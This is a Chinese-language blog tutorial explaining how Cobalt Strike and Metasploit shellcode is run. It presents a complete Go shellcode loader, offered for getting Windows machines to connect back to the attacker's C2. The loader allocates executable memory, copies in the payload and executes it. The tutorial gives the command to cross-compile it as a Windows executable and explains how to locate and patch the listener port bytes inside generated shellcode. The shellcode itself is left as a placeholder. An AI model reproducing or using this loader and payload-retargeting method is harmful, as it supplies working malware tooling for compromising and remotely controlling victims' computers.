前言
看完本文你会了解到:
1.cs中的shellcode是做什么的?
2.用类似于cs、msf生成的shellcode的加载器是什么样的?
3.windows api是什么?
4.怎样从msf及cs生成的shellcode里直接修改监听ip和监听端口?
准备工作
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。
我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。
使用cs生成一个c的payload。
这个文件里面就是一段shllcode。
接下来我们从编写shellcode加载器开始到运行上线CS来分析一下这个shellcode做了什么。
0x01 shellcode加载器介绍
及cs上线操作
要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,那么什么是shellcode加载器呢?
我们知道在计算机中无论什么程序到最后都会转换成二进制代码让CPU去运行,而CPU是负责运算和处理的,内存是交换数据的,没有内存,CPU就没法接收到数据。
内存是计算机与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的。
所以shellcode加载器就是为shellcode申请一段内存,然后把shellcode加载到内存中让机器执行这段shellcode,也就是说这个加载器就是个让shellcode运行起来的东西(这不是废话么)。
下面我复制粘贴了段go语言的shellcode的加载器,我们可以用这歌加载器来上线windows机器。
package main
import (
_"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") //调用kernel32.dll
ntdll = syscall.MustLoadDLL("ntdll.dll") //调用ntdll.dll
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll调用RtCopyMemory函数
shellcode_buf = []byte{
// 你的shellcode,0x3f, 0x2e...格式的
}
)
func checkErr(err error) {
if err != nil { //如果内存调用出现错误,可以报出
if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报
println(err.Error()) //报出具体错误
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
//调用VirtualAlloc为shellcode申请一块内存
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
//调用RtlCopyMemory来将shellcode加载进内存当中
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
//syscall来运行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
在shellcode_buf里面放好前面cs生成的c的payload时后来编译运行。
windows机器上正常编译,MacOS与linux机器或者其他操作系统上运行下面这段代码来编译。
CGO_ENABLED=0 GOOS=windows go build main.go
这行自行脑补一张win10打开main.exe的图片。
成功上线,这就是我们上线机器的过程,接下来我们来一步步的去分析这个过程事如何实现的。
0x02 shellcode加载器所用数据类型及 Windows API 函数大致介绍
[ + ] VirtualAlloc
VirtualAlloc 是 Windows API 函数。该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。
简单点的意思就是申请内存空间。包含在 Windows 系统文件 Kernel32.dll 中。
使用详情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
调用VirtualAlloc的话需要有四个参数,如文档中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每个参数的介绍如下:
lpAddress:内存指针,规定开始的地方
dwSize:要用内存的大小
flAllocationType*:内存类型,规定要怎么去用这块内存
flProtect:内存属性
[ + ] RtlMoveMemory
RtlCopyMemory是 Windows API 函数。该函数可以从指定内存中复制内存至另一内存里。
简称:复制内存。它包含在 Ntdll.dll 中。
调用 RtlMoveMemory 的话需要三个参数,如文档中提到的Destination、Source、Length,其中每个参数的介绍如下:
Destination:指向要复制字节的目标内存块的指针
Source:指向要复制字节的源内存块的指针
Length:从源复制到目标中的字节数
[ + ] uintptr*
整型,可以足够保存指针的值得范围
[ + ] uintptr*
系统调用。syscall包包含一个指向底层操作系统原语的接口,它接收4个参数,其中trap为中断信号,a1,a2,a3为底层调用函数对应的参数。具体用法为:
syscall.Syscall(trap, a1, a2, a3 uintptr)
其中用不到的补0就行。
[ + ] golang调用windows api
参考文章:https://www.jianshu.com/p/8e454a012cdc
关键词:golang调用windows api(这里主要针对go语言,师傅们可以尝试去写一个其他语言的shellcode加载器,原理都是调用windows api)。
0x03 shellcode加载器代码分析
加载器加载shellcode就是用go调用windows api然后操作内存来实现的。
1. 从入口函数main起看,首先是声明一个shellcode变量并赋值。
shellcode := shellcode_buf
2. 接下来用VirtualAlloc为shellcode申请了一段内存空间。
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
在这行代码中,我们用go语言调用了windpws api中的VirtualAlloc函数,它在 Windows 系统文件 Kernel32.dll 中(0x02开头有官方的函数用法介绍),因此我们在开头有几行代码是调用dll中的函数的。
继续来看VirtualAlloc函数,这里面有四个参数分别是:
addrlpAddress <== 0 // 内存指针,规定开始的地方。 dwSize <== uintptr(len(shellcode)) // 内存分配的大小,必须得是uintptr型 flAllocationType <== MEM_COMMIT|MEM_RESERVE // 内存类型,规定要怎么去用这块内存,具体见下表 flProtect <== PAGE_EXECUTE_READWRITE // 内存属性,具体见下下表
MEM_COMMIT|MEM_RESERVE
3. 然后调用RtlCopyMemory函数来将shellcode加载进内存当中。
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
RtlCopyMemory函数对应的三个参数分别是:
Destination <== addr变量,指向要复制字节的目标内存块的指针。 Source <== (uintptr)(unsafe.Pointer(&shellcode[0])),指向要复制字节的源内存块的指针。 Length <== uintptr(len(shellcode)) 从源复制到目标中的字节数。
4. 最后使用syscall来执行shellcode
syscall.Syscall(addr, 0, 0, 0, 0) // 用不到的就补0
到这里一个基本的shellcode加载器就实现了,总而言之就是:
申请内存-->把shellcode加载到内存-->让这段内存里的东西运行起来。
0x04 从shellcode里直接修改上线IP与端口
+
一、前奏小知识
1. 端口为什么会是65535个?
在TCP、UDP协议的开头,会分别有16位来存储源端口号和目标端口号,所以端口个数是216-1=65535个。简单来讲端口就是从十六进制的0000-FFFF
2. 内存地址是从低地址到高地址记录的。例如
一个内存单元比如0x000001可以存放一个字节,比如把55555转换成十六进制就是D903:
而一个字节就是D9或者03,在D903中,因为字在寄存器中是这样储存的。
所以D9属于高位,03属于低位,如果要放在内存里面从0x000001开始的话就是0X000001放着03,0x000002放着D9
+
二、修改上线IP与端口
假如你生成的端口为5555,把它转换为十六进制就是D903,我们反过来搜03D9就可以了(根据生成shellcode的格式自行搜索,或者只搜索一个D9,然后看它前面的是不是03,如果是的话就说明这俩个字节就是我们的上线端口),这样就确定了监听端口的位置。
接下来把要替换的端口号转换成十六进制。
然后再倒序修改shellcode里面监听的端口号的位置。
好了,这样就修改成功了,放到加载器去上线吧,修改监听IP,留给大家思考。
求走过路过的大佬的一个小赞。